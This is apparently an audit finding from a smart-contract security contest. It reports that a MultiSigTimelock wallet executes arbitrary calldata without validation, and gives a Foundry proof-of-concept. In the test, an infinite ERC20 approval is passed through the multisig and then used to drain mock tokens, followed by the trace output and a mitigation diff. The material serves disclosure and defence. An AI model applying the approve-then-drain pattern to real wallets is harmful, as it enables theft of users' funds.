MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: medium
Likelihood: high

Arbitrary data execution without validation

Author Revealed upon completion

Description

  • A multisig wallet should restrict or validate what external calls it can execute, e.g., by allowlisting target contracts or function selectors, enforcing safe patterns, and/or requiring extra delay for high‑risk calls, so signers don’t unwittingly authorize malicious payloads.

  • The contract forwards arbitrary bytes data to any to address via a low‑level .call with all remaining gas and no validation (no target allowlist, no selector checks, no parameter sanity, no gas cap). This enables execution of complex or deceptive calls (e.g., infinite ERC20 approvals, hooks that do unexpected state changes, or calls into upgradable/malicious contracts) with the same quorum as a simple transfer.

function _proposeTransaction(address to, uint256 value, bytes memory data) internal returns (uint256) {
uint256 transactionId = s_transactionCount;
s_transactions[transactionId] = Transaction({
to: to,
value: value,
data: data, // @> Arbitrary payload stored
confirmations: 0,
proposedAt: block.timestamp,
executed: false
});
s_transactionCount++;
emit TransactionProposed(transactionId, to, value);
return transactionId;
}
​
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
// ... quorum & timelock checks ...
// @> No target/selector validation; call forwards entire data with all remaining gas
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
if (!success) { revert MultiSigTimelock__ExecutionFailed(); }
emit TransactionExecuted(txnId, txn.to, txn.value);
}

Risk

Likelihood: High

  • Routine treasury ops often require data‑only calls (approvals, swaps, staking, governance). With no validation, any signer can propose payloads that look benign but grant dangerous permissions or interact with malicious contracts.

  • Common during integrations with upgradable proxies or third‑party systems where behavior can change after proposal.

Impact: Medium

  • Privilege & asset risk: Arbitrary payloads can set infinite approvals and drain ERC20s immediately after execution; interact with contracts that perform nested calls or reentrancy‑adjacent flows; or toggle states in ways signers didn’t anticipate.

  • Policy mismatch & monitoring gaps: Stakeholders may assume strict controls on what the multisig can do; in practice it can call anything, increasing the attack surface and reducing auditability.

Proof of Concept

  • Create poc2.t.sol under unit directory and copy the code below.

  • Run forge test --mp poc2 -vvvv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {Test, console2} from "forge-std/Test.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
​
​
// Minimal ERC20 for the PoC
contract MockERC20 {
string public name = "Mock";
string public symbol = "MCK";
uint8 public decimals = 18;
​
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
​
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
​
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
​
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
​
function transfer(address to, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount, "bal");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
​
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 alw = allowance[from][msg.sender];
require(alw >= amount, "allowance");
require(balanceOf[from] >= amount, "bal");
allowance[from][msg.sender] = alw - amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}
​
contract ArbitraryDataExecPoC is Test {
MultiSigTimelock private ms;
MockERC20 private token;
​
address private OWNER = address(this); // deployer = owner
address private SIGNER_TWO = address(0xB0B);
address private SIGNER_THREE = address(0xC0C);
address private SPENDER = address(0xBEEF);
address private RECIPIENT = address(0xCAFE);
​
function setUp() public {
ms = new MultiSigTimelock();
token = new MockERC20();
​
// fund wallet with tokens
uint256 bigAmount = 1_000_000 ether;
token.mint(address(ms), bigAmount);
​
// prepare signer quorum (owner is #1 by default)
ms.grantSigningRole(SIGNER_TWO);
ms.grantSigningRole(SIGNER_THREE);
assertEq(ms.getSignerCount(), 3);
}
​
function testArbitraryDataExecution_AllowsInfiniteApprovalAndDrain() public {
uint256 walletBal = token.balanceOf(address(ms));
assertEq(walletBal, 1_000_000 ether, "prefunded");
​
// --- Propose arbitrary payload: token.approve(SPENDER, type(uint256).max)
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)", SPENDER, type(uint256).max
);
uint256 txnId = ms.proposeTransaction(address(token), 0, data); // value == 0 => no timelock
​
// --- Reach quorum
vm.prank(OWNER); ms.confirmTransaction(txnId);
vm.prank(SIGNER_TWO); ms.confirmTransaction(txnId);
vm.prank(SIGNER_THREE); ms.confirmTransaction(txnId);
​
// --- Execute immediately (no validation of target/selector/payload)
vm.prank(OWNER);
ms.executeTransaction(txnId);
​
// --- Drain tokens via transferFrom using the infinite approval
vm.prank(SPENDER);
token.transferFrom(address(ms), RECIPIENT, 900_000 ether);
​
assertEq(token.balanceOf(RECIPIENT), 900_000 ether, "recipient drained");
assertEq(token.balanceOf(address(ms)), 100_000 ether, "wallet reduced");
}
}

Output:

[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/unit/poc2.t.sol:ArbitraryDataExecPoC
[PASS] testArbitraryDataExecution_AllowsInfiniteApprovalAndDrain() (gas: 400892)
Traces:
[414892] ArbitraryDataExecPoC::testArbitraryDataExecution_AllowsInfiniteApprovalAndDrain()
├─ [2824] MockERC20::balanceOf(MultiSigTimelock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 1000000000000000000000000 [1e24]
├─ [0] VM::assertEq(1000000000000000000000000 [1e24], 1000000000000000000000000 [1e24], "prefunded") [staticcall]
│ └─ ← [Return]
├─ [174062] MultiSigTimelock::proposeTransaction(MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0, 0x095ea7b3000000000000000000000000000000000000000000000000000000000000beefffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ ├─ emit TransactionProposed(transactionId: 0, to: MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 0)
│ └─ ← [Return] 0
├─ [0] VM::prank(ArbitraryDataExecPoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [51353] MultiSigTimelock::confirmTransaction(0)
│ ├─ emit TransactionConfirmed(transactionId: 0, signer: ArbitraryDataExecPoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [31453] MultiSigTimelock::confirmTransaction(0)
│ ├─ emit TransactionConfirmed(transactionId: 0, signer: 0x0000000000000000000000000000000000000B0b)
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000C0C)
│ └─ ← [Return]
├─ [31453] MultiSigTimelock::confirmTransaction(0)
│ ├─ emit TransactionConfirmed(transactionId: 0, signer: 0x0000000000000000000000000000000000000C0C)
│ └─ ← [Stop]
├─ [0] VM::prank(ArbitraryDataExecPoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [54908] MultiSigTimelock::executeTransaction(0)
│ ├─ [25078] MockERC20::approve(0x000000000000000000000000000000000000bEEF, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ ├─ emit Approval(owner: MultiSigTimelock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], spender: 0x000000000000000000000000000000000000bEEF, value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ └─ ← [Return] true
│ ├─ emit TransactionExecuted(transactionId: 0, to: MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 0)
│ └─ ← [Stop]
├─ [0] VM::prank(0x000000000000000000000000000000000000bEEF)
│ └─ ← [Return]
├─ [29726] MockERC20::transferFrom(MultiSigTimelock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0x000000000000000000000000000000000000cafE, 900000000000000000000000 [9e23])
│ ├─ emit Transfer(from: MultiSigTimelock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: 0x000000000000000000000000000000000000cafE, value: 900000000000000000000000 [9e23])
│ └─ ← [Return] true
├─ [824] MockERC20::balanceOf(0x000000000000000000000000000000000000cafE) [staticcall]
│ └─ ← [Return] 900000000000000000000000 [9e23]
├─ [0] VM::assertEq(900000000000000000000000 [9e23], 900000000000000000000000 [9e23], "recipient drained") [staticcall]
│ └─ ← [Return]
├─ [824] MockERC20::balanceOf(MultiSigTimelock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 100000000000000000000000 [1e23]
├─ [0] VM::assertEq(100000000000000000000000 [1e23], 100000000000000000000000 [1e23], "wallet reduced") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.47ms (479.20µs CPU time)
​
Ran 1 test suite in 19.12ms (1.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • Introduce validation and policy controls so the wallet cannot execute arbitrary payloads.

  • Enforce a minimum delay for data‑bearing calls and set gas caps

+ // Configurable allowlist of target contracts
+ mapping(address => bool) private s_allowedTarget;
+ // (Optional) per-target function selector allowlist
+ mapping(address => mapping(bytes4 => bool)) private s_allowedSelector;
​
+ error MultiSigTimelock__TargetNotAllowed(address target);
+ error MultiSigTimelock__SelectorNotAllowed(address target, bytes4 selector);
​
+ function setAllowedTarget(address target, bool allowed) external onlyOwner {
+ require(target != address(0), "invalid target");
+ s_allowedTarget[target] = allowed;
+ }
​
+ function setAllowedSelector(address target, bytes4 selector, bool allowed) external onlyOwner {
+ require(target != address(0), "invalid target");
+ s_allowedSelector[target][selector] = allowed;
+ }
​
function proposeTransaction(address to, uint256 value, bytes calldata data)
external
nonReentrant
noneZeroAddress(to)
onlyOwner
returns (uint256)
{
+ if (!s_allowedTarget[to]) {
+ revert MultiSigTimelock__TargetNotAllowed(to);
+ }
+ if (data.length >= 4) {
+ bytes4 sel;
+ assembly { sel := calldataload(data.offset) } // first 4 bytes
+ if (!s_allowedSelector[to][sel]) {
+ revert MultiSigTimelock__SelectorNotAllowed(to, sel);
+ }
+ }
return _proposeTransaction(to, value, data);
}
​
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
​
- uint256 requiredDelay = _getTimelockDelay(txn.value);
+ uint256 requiredDelay = _getTimelockDelay(txn.value);
+ // Any data-bearing call must wait at least 1 day (configurable)
+ if (txn.data.length > 0 && requiredDelay < ONE_DAY_TIME_DELAY) {
+ requiredDelay = ONE_DAY_TIME_DELAY;
+ }
​
uint256 executionTime = txn.proposedAt + requiredDelay;
if (block.timestamp < executionTime) {
revert MultiSigTimelock__TimelockHasNotExpired(executionTime);
}
​
+ // Cap gas forwarded to the target to reduce griefing (tune per ops needs)
+ uint256 EXEC_GAS_LIMIT = 500_000;
- (bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
+ (bool success,) = payable(txn.to).call{value: txn.value, gas: EXEC_GAS_LIMIT}(txn.data);
if (!success) { revert MultiSigTimelock__ExecutionFailed(); }
emit TransactionExecuted(txnId, txn.to, txn.value);
}
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!